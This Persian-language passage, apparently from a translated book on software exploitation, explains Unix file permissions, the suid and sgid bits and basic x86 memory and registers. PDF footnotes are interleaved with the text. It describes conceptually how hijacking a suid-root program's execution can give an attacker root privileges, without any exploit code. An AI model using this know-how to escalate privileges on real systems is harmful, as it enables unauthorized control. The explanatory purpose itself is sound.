‫دﯾﮕﺮی وﺟﻮد دارﻧﺪ‪ .‬ﺑﺴﯿﺎری از ﮐﺎرﺑﺮان ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ ﯾﮏ ﮔﺮوه ﺗﻌﻠﻖ داﺷﺘﻪ ﺑﺎﺷﻨﺪ و ﯾﮏ ﮐﺎرﺑﺮ ﻣﯽ ﺗﻮاﻧـﺪ ﺑـﻪ ﭼﻨـﺪﯾﻦ‬
‫ﮔﺮوه ﻣﺨﺘﻠﻒ ﻣﺘﻌﻠﻖ ﺑﺎﺷﺪ! ﻣﺠﻮزﻫﺎی ﻓﺎﯾﻞ ﻧﯿﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ﻫﺮ دوی ﮐﺎرﺑﺮان و ﮔﺮوه ﻫـﺎ اﺳـﺖ‪ ،‬ﺑﻄﻮرﯾﮑـﻪ ﮐـﺎرﺑﺮان دﯾﮕـﺮ‬
‫ﻧﻤﯽ ﺗﻮاﻧﻨﺪ ﻓﺎﯾﻠﻬﺎی ﺷﻤﺎ را ﺑﺨﻮاﻧﻨﺪ ﻣﮕﺮاﯾﻨﮑﻪ ﺑﻪ آﻧﻬﺎ اﺟﺎزه ﺻﺮﯾﺢ اﯾﻦ ﮐﺎر داده ﺷﻮد‪ .‬ﻫـﺮ ﻓﺎﯾـﻞ ﺑـﻪ ﯾـﮏ ﮐـﺎرﺑﺮ و ﯾـﮏ‬
‫ﮔﺮوه ﻣﺮﺗﺒﻂ اﺳﺖ و ﺗﻨﻬﺎ ﻣﺎﻟﮏ ﻓﺎﯾﻞ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ ﻣﺠﻮزﻫﺎ را ﺻﺎدر ﮐﻨﺪ‪ .‬ﺳﻪ ﻣﺠﻮز ﺗﺤﺖ ﻋﻨـﻮان ﺧﻮاﻧـﺪن )‪،(read‬‬
‫ﻧﻮﺷﺘﻦ )‪ (write‬و اﺟﺮا ﮐﺮدن )‪ (execute‬وﺟـﻮد دارد‪ .‬اﯾـﻦ ﻣﺠﻮزﻫـﺎ ﻣـﯽ ﺗﻮاﻧﻨـﺪ در ﺳـﻪ ﻓﯿﻠـﺪ ﮐـﺎرﺑﺮ )‪ ،(user‬ﮔـﺮوه‬
‫)‪ (group‬و دﯾﮕﺮان )‪ (other‬ﻓﻌﺎل ﯾﺎ ﻏﯿﺮﻓﻌﺎل ﺷﻮﻧﺪ‪ .‬ﻓﯿﻠﺪ ﮐﺎرﺑﺮ‪ ،‬ﮐﺎرﻫﺎﯾﯽ را ﮐـﻪ ﻣﺎﻟـﮏ ﻓﺎﯾـﻞ ﻣـﯽ ﺗﻮاﻧـﺪ اﻧﺠـﺎم دﻫـﺪ‬
‫)ﺧﻮاﻧﺪن‪ ،‬ﻧﻮﺷﺘﻦ‪ ،‬اﺟﺮا ﮐﺮدن(‪ ،‬ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ‪ .‬ﻓﯿﻠﺪ ﮔﺮوه‪ ،‬ﮐﺎرﻫﺎی ﻗﺎﺑﻞ اﻧﺠﺎم ﺗﻮﺳﻂ ﮐﺎرﺑﺮان آن ﮔـﺮوه را ﺗﻌﯿـﯿﻦ ﻣـﯽ‬
‫ﮐﻨﺪ‪ .‬ﻓﯿﻠﺪ دﯾﮕﺮان‪ ،‬ﻧﯿﺰ ﮐﺎرﻫﺎﯾﯽ را ﮐﻪ ﺑﻘﯿﻪ ﮐﺎرﺑﺮان ﻣﯽ ﺗﻮاﻧﻨﺪ اﻧﺠﺎم دﻫﻨﺪ ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﻣﺠﻮزﻫﺎ ﺑﺎ ﺣﺮوف ‪ w ،r‬و‬
‫‪ x‬در ﺳﻪ ﻓﯿﻠﺪ ﻣﺘﻮاﻟﯽ ﻣﺘﻨﺎﻇﺮ ﺑﺎ ﮐﺎرﺑﺮ‪ ،‬ﮔﺮوه و دﯾﮕﺮان ﻧﻤﺎﯾﺶ ﻣﯽ ﯾﺎﺑﻨﺪ‪ .‬در ﻣﺜﺎل زﯾﺮ ﮐﺎرﺑﺮ )ﻣﺎﻟﮏ( ﻣﺠﻮزﻫﺎی ﺧﻮاﻧـﺪن‬
‫و ﻧﻮﺷﺘﻦ )اوﻟﯿﻦ ﻓﯿﻠﺪ درﺷﺖ ﻧﻤﺎ ﺷﺪه(‪ ،‬ﮔﺮوه ﻣﺠﻮزﻫـﺎی ﺧﻮاﻧـﺪن و اﺟـﺮا ﮐـﺮدن )ﻓﯿﻠـﺪ وﺳـﻂ( و دﯾﮕـﺮان‪ ،‬ﻣﺠﻮزﻫـﺎی‬
‫ﻧﻮﺷﺘﻦ و اﺟﺮا ﮐﺮدن را دارﻧﺪ )آﺧﺮﯾﻦ ﻓﯿﻠﺪ درﺷﺖ ﻧﻤﺎ ﺷﺪه(‪.‬‬
‫‪-rw-r-x-wx‬‬ ‫‪1 guest‬‬ ‫‪visitors‬‬ ‫‪149 Jul 15 23:59 tmp‬‬
‫‪13‬‬
‫در ﺑﻌﻀﯽ ﺣﺎﻻت ﻻزم اﺳﺖ ﮐﻪ ﺑﻪ ﯾﮏ ﮐﺎرﺑﺮ ﺑﺪون ﺳﻄﺢ دﺳﺘﺮﺳﯽ ‪ ،‬اﺟﺎزه اﺟﺮای ﯾﮏ ﻋﻤـﻞ ﺳﯿـﺴﺘﻤﯽ )ﮐـﻪ ﺑـﻪ ﺳـﻄﺢ‬
‫دﺳﺘﺮﺳﯽ رﯾﺸﻪ ﻧﯿﺎز دارد( را ﺑﺪﻫﯿﻢ‪ ،‬ﻣﺜﻞ ﺗﻌﻮﯾﺾ ﯾﮏ رﻣﺰﻋﺒﻮر‪ .‬اوﻟﯿﻦ راه ﺣﻞ دادن ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ ﺑﻪ ﮐﺎرﺑﺮ ﻣﺬﺑﻮر‬
‫اﺳﺖ؛ اﻣﺎ اﯾﻦ ﮐﺎر ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ را ﺑﻪ دﺳﺖ ﮐﺎرﺑﺮ ﻣﯽ ﺳﭙﺎرد ﮐﻪ از ﻧﻘﻄﻪ ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﻣﻄﻠﻮب ﻧﯿﺴﺖ‪ .‬ﻟﺬا در ﻋﻮض‬
‫ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻗﺎﺑﻠﯿﺘﯽ اﻋﻄﺎ ﻣﯽ ﺷﻮد ﮐﻪ در ﺷﺮاﯾﻄﯽ اﺟﺮا ﺷﻮد ﮐﻪ اﻧﮕﺎر ﯾﮏ ﮐﺎرﺑﺮ رﯾﺸﻪ اﺳﺖ‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﻋﻤـﻞ ﺳﯿـﺴﺘﻤﯽ ﺑـﻪ‬
‫درﺳﺘﯽ اﻧﺠﺎم ﺷﻮد و ﻋﻤﻼ ﺑﻪ ﮐﺎرﺑﺮ ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺑﻪ ﺳﯿﺴﺘﻢ داده ﻧﺸﻮد‪ .‬اﯾـﻦ ﻧـﻮع ﻣﺠـﻮز را ﻣﺠـﻮز ﯾـﺎ ﺑﯿـﺖِ ‪ 14suid‬ﻣـﯽ‬
‫ﻧﺎﻣﯿﻢ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﻣﺠﻮز ‪ suid‬ﺗﻮﺳﻂ ﯾﮏ ﮐﺎرﺑﺮ اﺟﺮا ﻣﯽ ﺷﻮد‪ ،‬آﻧﮕﺎه ‪ 15euid‬ﯾﺎ ﺷﻨﺎﺳﻪ ﻣﻮﺛﺮ ﮐـﺎرﺑﺮی آن‬
‫ﮐﺎرﺑﺮ‪ ،‬ﺑﻪ ‪ uid‬ﯾﺎ ﺷﻨﺎﺳﻪ ﮐﺎرﺑﺮی ﻣﺎﻟﮏِ ﺑﺮﻧﺎﻣﻪ ﺗﻐﯿﯿﺮ ﯾﺎﻓﺘﻪ و ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﻣﯽ ﮔﺮدد‪ .‬ﭘـﺲ از ﭘﺎﯾـﺎن اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ‪euid ،‬‬
‫ﮐﺎرﺑﺮ ﺑﻪ ﻣﻘﺪار اوﻟﯿﻪ ﺧﻮد ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ‪ .‬اﯾﻦ ﺑﯿﺖ ﯾﺎ ﻣﺠﻮز در ﻣﺜﺎل زﯾﺮ ﺑﺎ ﺣﺮف ‪ s‬ﺑﻪ ﺻﻮرت درﺷـﺖ ﻧـﺸﺎن داده ﺷـﺪه‬
‫اﺳﺖ‪ .‬ﻫﻤﭽﻨﯿﻦ ﻣﺠﻮزی ﺑﺎ ﻧﺎم ‪ 16sgid‬وﺟﻮد دارد ﮐﻪ ﻫﻤﯿﻦ ﻋﻤﻞ را ﺑﺎ ﺷﻨﺎﺳﻪ ﻣﻮﺛﺮ ﮔﺮوه‪ 17‬اﻧﺠﺎم ﻣﯽ دﻫﺪ‪.‬‬
‫‪-rwsr-xr-x‬‬ ‫‪1 root‬‬ ‫‪root‬‬ ‫‪29592 Aug 8 13:37 /usr/bin/passwd‬‬
‫ﺑﺮای ﻣﺜﺎل اﮔﺮ ﮐﺎرﺑﺮی ﺑﺨﻮاﻫﻨﺪ رﻣﺰ ﻋﺒﻮر ﺧﻮد را ﺗﻐﯿﯿﺮ دﻫﺪ‪ ،‬ﺑﺎﯾﺪ ﻓﺎﯾﻞ ‪ /usr/bin/passwd‬را اﺟﺮا ﮐﻨﺪ ﮐﻪ ﻣﺎﻟـﮏ آن‬
‫ﮐﺎرﺑﺮ رﯾﺸﻪ و ﺑﯿﺖ ‪ suid‬ﺑﺮ روی آن ﻓﻌﺎل اﺳﺖ‪ .‬ﺳﭙﺲ ﺟﻬﺖ اﺟﺮای ﻓﺎﯾﻞ ﭘﺴﻮرد‪ uid ،‬ﮐﺎرﺑﺮ ﺑﻪ ‪ uid‬رﯾﺸﻪ )ﮐـﻪ ﺑﺮاﺑـﺮ‬
‫ﺑﺎ ﺻﻔﺮ اﺳﺖ( ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ و ﺑﻌﺪ از اﺗﻤﺎم اﺟﺮا ﺑﻪ ﺣﺎﻟﺖ اوﻟﯿﻪ ﺑﺎز ﻣﯽ ﮔﺮدد‪ .‬ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ ﻣﺠﻮز ‪ suid‬ﺑـﺮ روی آﻧﻬـﺎ‬
‫روﺷﻦ ﯾﺎ ﻓﻌﺎل و ﻣﺎﻟﮏ آﻧﻬﺎ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﻌﻤﻮﻻ ﺑﺎ ﻧﺎم "‪ "SUID Root‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ ﺑﺮﻧﺎﻣﻪ ﺑﺴﯿﺎر ﻣﻬﻢ ﺟﻠﻮه ﻣﯽ ﮐﻨﺪ‪ .‬اﮔـﺮ روﻧـﺪ ﯾـﮏ ﺑﺮﻧﺎﻣـﻪ ‪ suid root‬را ﺑﺘـﻮان ﻃـﻮری‬
‫ﺗﻐﯿﯿﺮ داد ﮐﻪ ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ ﺗﺰرﯾﻖ ﺷﺪه دﻟﺨﻮاه را اﺟﺮا ﮐﻨﺪ‪ ،‬آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺗﺤﺖ اﺧﺘﯿﺎرات رﯾﺸﻪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺮﻧﺎﻣﻪ را ﺑـﻪ‬
‫ﻫﺮ ﮐﺎری وا دارد‪ .‬اﮔﺮ ﻧﻔﻮذﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ اﯾﺠﺎد ﯾﮏ ﭘﻮﺳﺘﻪ ﻓﺮﻣﺎن ﮐﺎرﺑﺮی‪ 18‬ﺟﺪﯾﺪ ﺟﻬﺖ دﺳﺘﯿﺎﺑﯽ ﺑﻪ آن ﺑﮕﯿﺮد‪ ،‬آﻧﮕـﺎه‬

‫‪13‬‬
‫‪Non-Privileged‬‬
‫‪14‬‬
‫‪Set User-ID‬‬
‫‪15‬‬
‫‪Effective User-ID‬‬
‫‪16‬‬
‫‪Set Group-ID‬‬
‫‪17‬‬
‫‪Effective Group-ID‬‬
‫‪18‬‬
‫‪User Shell‬‬
‫‪17‬‬
‫ﻧﻔﻮذﮔﺮ در ﯾﮏ ﺳﻄﺢ ﮐﺎرﺑﺮی‪ ،‬ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ را ﺧﻮاﻫﺪ داﺷﺖ‪ .‬ﻫﻤﺎن ﻃﻮر ﮐﻪ در اﺑﺘﺪا ذﮐﺮ ﺷﺪ‪ ،‬اﯾﻦ ﻣﺴﺌﻠﻪ از ﻧﻘﻄﻪ‬
‫ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﻣﻄﻠﻮب ﻧﯿﺴﺖ‪ ،‬ﭼﺮا ﮐﻪ ﺑﻪ ﻧﻔﻮذﮔﺮ ﺑﻪ ﻋﻨﻮان ﮐﺎرﺑﺮ رﯾﺸﻪ‪ ،‬ﮐﻨﺘﺮل ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ را اﻋﻄﺎ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﻣﯽ ﺗﻮاﻧﻢ ﺣﺪس ﺑﺰﻧﻢ ﮐﻪ ﺑﻪ ﭼﻪ ﭼﯿﺰی ﻓﮑﺮ ﻣﯽ ﮐﻨﯿﺪ‪" :‬ﺧﺎرق اﻟﻌﺎده اﺳﺖ‪ ،‬اﻣﺎ اﮔﺮ ﺑﻨﺎ ﺑﻪ ﺗﻌﺮﯾـﻒ ﻗﺒـﻮل دارﯾـﻢ ﮐـﻪ ﯾـﮏ‬
‫ﺑﺮﻧﺎﻣﻪ ﻣﺠﻤﻮﻋﻪ ای ﻣﺴﺘﺤﮑﻢ از ﻗﻮاﻧﯿﻦ اﺳﺖ‪ ،‬آﻧﮕﺎه ﭼﻄﻮر ﻣﯽ ﺗﻮان روﻧﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ را ﺗﻐﯿﯿﺮ داد!؟"‬
‫ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎ در زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﻣﺎﻧﻨﺪ ‪ C‬ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ و ﺑﺎ ﺗﻮﺟﻪ و ﮐﺎر در اﯾﻦ ﺳﻄﺢ ﺑـﺎﻻﺗﺮ‪ ،‬ﻋﻤـﻼ ﺑﺮﻧﺎﻣـﻪ‬
‫ﻧﻮﯾﺲ ﻧﻤﯽ ﺗﻮاﻧﺪ ﺗﺼﻮﯾﺮ ﺟﺎﻣﻊ و ﮐﻠﯽ ﺗﺮ را از ﺑﺮﻧﺎﻣﻪ ﺑﺪﺳﺖ آورد ﮐﻪ ﺷﺎﻣﻞ ﻣﻮاردی ﻫﻤﭽـﻮن ﺣﺎﻓﻈـﻪ ﻣﺘﻐﯿـﺮ‪ ،‬ﻓﺮاﺧـﻮاﻧﯽ‬
‫ﻫﺎی ﭘﺸﺘﻪ‪ ،‬اﺷﺎرﮔﺮﻫﺎی اﺟﺮاﯾﯽ و دﯾﮕﺮ دﺳﺘﻮرات ﺳﻄﺢ ﭘﺎﺋﯿﻦ ﻣﺎﺷﯿﻦ ﻣﯽ ﺷﻮد ﮐﻪ در زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ واﺿـﺢ ﻧﯿـﺴﺘﻨﺪ‪ .‬ﺑـﺎ‬
‫درﮐﯽ ﻋﻤﯿﻖ از دﺳﺘﻮرات ﺳﻄﺢ ﭘﺎﺋﯿﻦ ﻣﺎﺷﯿﻦ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﺑﻪ آﻧﻬﺎ ﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﯾﮏ ﻫﮑﺮ ذﻫﻨﯿﺘﯽ ﺑﻬﺘـﺮ‬
‫و ﻣﻠﻤﻮس ﺗﺮ از اﺟﺮای واﻗﻌﯽ ﺑﺮﻧﺎﻣﻪ ﻧﺴﺒﺖ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻧـﻮﯾﺲ ﺳـﻄﺢ ﺑـﺎﻻ ﺧﻮاﻫـﺪ داﺷـﺖ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ را ﺑـﺪون آن درک‬
‫ﺑﺨﺼﻮص ﻧﻮﺷﺘﻪ اﺳﺖ‪ .‬ﻟﺬا اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﻪ ﻣﻨﻈﻮر ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ آﻧﻬﺎ ﻫﻨﻮز ﻫﻢ ﻫـﯿﭻ ﯾـﮏ از ﻗـﻮاﻧﯿﻦ‬
‫ﻣﺮﺑﻮط ﺑﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺎﻣﭙﯿﻮﺗﺮی را ﻧﻘﺾ ﻧﻤﯽ ﮐﻨﺪ؛ ﺑﻠﮑﻪ اﯾﻦ ﻋﻤﻞ ﻧﺸﺎن از ﺷﻨﺎﺧﺖ دﻗﯿﻖ ﺗﺮ و ﺑﯿﺸﺘﺮ ﻗـﻮاﻧﯿﻦ و اﺳـﺘﻔﺎده‬
‫از آﻧﻬﺎ ﺑﻪ ﻃﺮق ﭘﯿﺶ ﺑﯿﻨﯽ ﻧﺸﺪه دارد‪ .‬ﺑﮑﺎر ﺑﺴﺘﻦ اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ و روش ﻫﺎی اﮐﺴﭙﻠﻮﯾﺖ و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫـﺎﯾﯽ ﺟﻬـﺖ‬
‫ﭘﯿﺶ ﮔﯿﺮی از اﯾﻦ ﻧﻮع اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ‪ ،‬ﻣﺴﺘﻠﺰم درﮐﯽ ﻋﻤﯿﻖ ﺗﺮ از ﻗﻮاﻧﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺳﻄﺢ ﭘﺎﺋﯿﻦ‪ ،‬ﻣﺜﻞ ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣـﻪ‬
‫اﺳﺖ‪.‬‬

‫‪ .2,5‬ﺣﺎﻓﻈﻪ‬

‫در وﻫﻠﻪ اول ﻣﻤﮑﻦ اﺳﺖ ﺣﺎﻓﻈﻪ ﮐﻤﯽ ﻫﻮﻟﻨﺎک ﺑﻪ ﻧﻈﺮ آﯾﺪ‪ ،‬اﻣﺎ ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﮐـﺎﻣﭙﯿﻮﺗﺮ‪ ،‬ﺟـﺎدوﮔﺮی ﻧﯿـﺴﺖ و‬
‫در ﻫﺴﺘﻪ ﮐﺎر‪ ،‬واﻗﻌﺎ ﻣﺜﻞ ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب ﻋﻈﯿﻢ اﺳﺖ‪ .‬ﺣﺎﻓﻈﻪ ﺑﺎﯾﺖ ﻫـﺎﯾﯽ اﺳـﺖ از ﻓـﻀﺎی ذﺧﯿـﺮه ای ﻣـﻮﻗﺘﯽ ﮐـﻪ ﺑـﺎ‬
‫آدرس ﻫﺎ ﺷﻤﺎره ﮔﺬاری ﺷﺪه اﻧﺪ‪ .‬ﺑﻪ اﯾﻦ ﺣﺎﻓﻈﻪ ﻣﯽ ﺗﻮان ﺑﺎ آدرس ﻫﺎﯾﺶ دﺳﺘﺮﺳﯽ ﭘﯿﺪا ﮐﺮد و ﻣـﯽ ﺗـﻮان اﻃﻼﻋـﺎﺗﯽ از‬
‫ﺑﺎﯾﺖ ﻣﻮﺟﻮد در ﻫﺮ آدرس ﺧﺎص را ﺧﻮاﻧﺪ ﯾﺎ در آن ﻧﻮﺷﺖ‪ .‬ﭘﺮدازﻧﺪه ﻫﺎی ﻓﻌﻠﯽ ‪ x86‬اﯾﻨﺘﻞ از ﯾﮏ ﻃﺮح آدرس دﻫـﯽ‬
‫‪ 32‬ﺑﯿﺘﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﯾﻌﻨﯽ ﺗﻌﺪاد ‪ 232‬ﯾﺎ ‪ 4,294,967,296‬آدرس ﻣﻤﮑﻦ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑـﻮد‪ .‬ﻣﺘﻐﯿـﺮﻫـﺎی ﯾـﮏ‬
‫ﺑﺮﻧﺎﻣﻪ ﺗﻨﻬﺎ ﻣﮑﺎﻧﻬﺎی ﻣﺸﺨﺼﯽ در ﺣﺎﻓﻈﻪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻪ ﻣﻨﻈﻮر ذﺧﯿﺮه اﻃﻼﻋﺎت اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫اﺷﺎرﮔﺮﻫﺎ )‪ ،(pointer‬ﻧﻮﻋﯽ ﻣﺘﻐﯿﺮ ﺧﺎص ﻫﺴﺘﻨﺪ ﮐﻪ ﺟﻬﺖ ذﺧﯿﺮه آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ﻣﮑﺎن ﻫﺎی ﻣﺨﺘﻠﻒ ﺑـﺮای ارﺟـﺎع‬
‫دﯾﮕﺮ اﻃﻼﻋﺎت ﺑﮑﺎر ﻣﯽ روﻧﺪ‪ .‬ﭼﻮن در ﻋﻤﻞ ﺣﺎﻓﻈﻪ را ﻧﻤﯽ ﺗﻮان ﺣﺮﮐﺖ داد )ﻣﻨﺘﻘﻞ ﮐﺮد(‪ ،‬ﻟﺬا اﻃﻼﻋـﺎت درون آن ﺑﺎﯾـﺪ‬
‫ﺑﻪ ﻣﮑﺎن دﻟﺨﻮاه ﮐﭙﯽ ﺷﻮﻧﺪ‪ .‬اﻣﺎ ﮐﭙﯽ ﮐﺮدن ﻗﻄﻌﺎت ﺑﺰرگ ﺣﺎﻓﻈﻪ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺑﺘﻮاﻧﻨﺪ ﺗﻮﺳﻂ ﺗﻮاﺑﻊ ﻣﺨﺘﻠـﻒ ﯾـﺎ در ﻣﮑﺎﻧﻬـﺎی‬
‫ﻣﺨﺘﻠﻒ اﺳﺘﻔﺎده ﺷﻮﻧﺪ‪ ،‬ﺑﺴﯿﺎر ﭘﺮ ﻫﺰﯾﻨﻪ و ﭘﺮ ﻣﺤﺎﺳﺒﻪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬از ﻧﻘﻄﻪ ﻧﻈﺮ ﺣﺎﻓﻈﻪ ﻧﯿﺰ اﯾﻦ ﻋﻤﻞ ﭘﺮ ﻫﺰﯾﻨﻪ اﺳﺖ‪ ،‬ﭼﻮن‬
‫ﺑﺮای ﮐﭙﯽ ﺷﺪن ﺑﻠﻮک ﺣﺎﻓﻈﻪ ای ﻣﻨﺒﻊ‪ ،‬ﺑﺎﯾﺪ ﯾﮏ ﺑﻠـﻮک ﺣﺎﻓﻈـﻪ ای ﺟﺪﯾـﺪ در ﺣﺎﻓﻈـﻪ ﺗﺨـﺼﯿﺺ ﯾﺎﺑـﺪ‪ .‬اﺷـﺎرﮔﺮ راه ﺣـﻞ‬
‫ﻣﻨﺎﺳﺒﯽ ﺑﺮای اﯾﻦ ﻣﺸﮑﻞ ﻫﺴﺘﻨﺪ‪ .‬ﺑﻪ ﺟﺎی ﮐﭙﯽ ﮐﺮدن ﻗﻄﻌﺎت ﺑﺰرگ در ﮔﻮﺷﻪ و ﮐﻨﺎر ﺣﺎﻓﻈﻪ ﻣﯽ ﺗﻮان آدرس آن ﺑﻠـﻮک‬
‫ﺣﺎﻓﻈﻪ ﺑﺰرگ را ﺑﻪ ﯾﮏ اﺷﺎرﮔﺮ ﻧﺴﺒﺖ داد‪ .‬ﺳﭙﺲ‪ ،‬اﯾﻦ اﺷﺎرﮔﺮ ﮐﻮﭼﮏ ‪ 4‬ﺑﺎﯾﺘﯽ را ﻣﯽ ﺗﻮان ﺑﻪ ﺗﻮاﺑﻊ ﻣﺨﺘﻠﻔﯽ ﮐﻪ ﻧﯿﺎز ﺑـﻪ‬
‫دﺳﺘﺮﺳﯽ ﺑﻪ آن ﺑﻠﻮک ﺣﺎﻓﻈﻪ ﺑﺰرگ دارﻧﺪ ﻣﻨﺘﻘﻞ ﮐﺮد‪.‬‬
‫ﭘﺮدازﻧﺪه ﺣﺎﻓﻈﻪ ﻣﺨﺼﻮص ﺑﻪ ﺧﻮد دارد ﮐﻪ ﻧﺴﺒﺘﺎ ﮐﻮﭼﮏ اﺳﺖ‪ .‬از اﯾﻦ ﺑﺨﺶ ﻫﺎی ﺣﺎﻓﻈﻪ ای ﺑـﺎ ﻧـﺎم َﺛﺒـﺎت )‪(register‬‬
‫ﯾﺎد ﻣﯽ ﺷﻮد‪ .‬ﭼﻨﺪﯾﻦ ﺛﺒﺎت وﯾﮋه وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺮای ﺛﺒﺖ ﺟﺮﯾﺎﻧﺎﺗﯽ ﮐﻪ در ﺧﻼل اﺟﺮای ﺑﺮﻧﺎﻣﻪ رخ ﻣﯽ دﻫﻨﺪ ﺑﮑـﺎر ﻣـﯽ‬
‫روﻧﺪ‪ .‬ﯾﮑﯽ از ﺑﺮﺟﺴﺘﻪ ﺗﺮﯾﻦ آﻧﻬﺎ‪ 19EIP ،‬اﺳﺖ‪ .‬ﺛﺒﺎت ‪ ،EIP‬اﺷﺎرﮔﺮی اﺳﺖ ﮐﻪ آدرس دﺳﺘﻮر در ﺣﺎل اﺟﺮای ﻓﻌﻠـﯽ را‬

‫‪19‬‬
‫‪Extended Instruction Pointer‬‬
‫‪18‬‬
‫‪21‬‬
‫ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ‪ .‬دﯾﮕﺮ ﺛﺒﺎت ﻫﺎی ‪ 32‬ﺑﯿﺘﯽ ﮐﻪ ﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮ ﻣﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ‪ 20EBP ،‬و ‪ESP‬‬
‫ﻫﺴﺘﻨﺪ‪ .‬ﺗﻤﺎم اﯾﻦ ﺳﻪ ﺛﺒﺎت در اﺟﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺣﯿﺎﺗﯽ و ﻣﻬﻢ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻌﺪا ﺑﺎ ﻋﻤﻖ ﺑﯿﺸﺘﺮی ﻣﻮرد ﺑﺮرﺳـﯽ ﻗـﺮار ﻣـﯽ‬
‫ﮔﯿﺮﻧﺪ‪.‬‬

‫‪ .2,5,1‬اﻋﻼن ﺣﺎﻓﻈﻪ‬

‫ﻫﻨﮕﺎم ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻣﺜﻞ ‪ ،C‬ﻣﺘﻐﯿﺮﻫﺎ ﺑﻮﺳﯿﻠﻪ ﯾﮏ ﻧﻮع داده ای )‪ (data type‬اﻋـﻼن ﻣـﯽ ﺷـﻮﻧﺪ‪.‬‬
‫اﯾﻦ اﻧﻮاع داده ای ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﺻﺤﯿﺢ‪ ،‬ﮐﺎراﮐﺘﺮ‪ ،‬ﺳﺎﺧﺘﻤﺎن ﺳﻔﺎرﺷﯽ اﻋﻼن ﺷﺪه ﺗﻮﺳﻂ ﮐﺎرﺑﺮ‪ 22‬و ﻣـﻮاردی ﭼﻨـﺪ را در‬
‫ﺑﺮ ﮔﯿﺮﻧﺪ‪ .‬ﻣﻬﻢ ﺑﻮدن ﻧﻮع داده از ﺟﻬﺖ ﺗﺨﺼﯿﺺ ﺻﺤﯿﺢ ﻓﻀﺎ ﺑﺮای ﻫﺮ ﻣﺘﻐﯿﺮ اﺳﺖ‪ .‬ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ ﺑﻪ ‪ 4‬ﺑﺎﯾﺖ ﻓﻀﺎ ﻧﯿﺎز‬
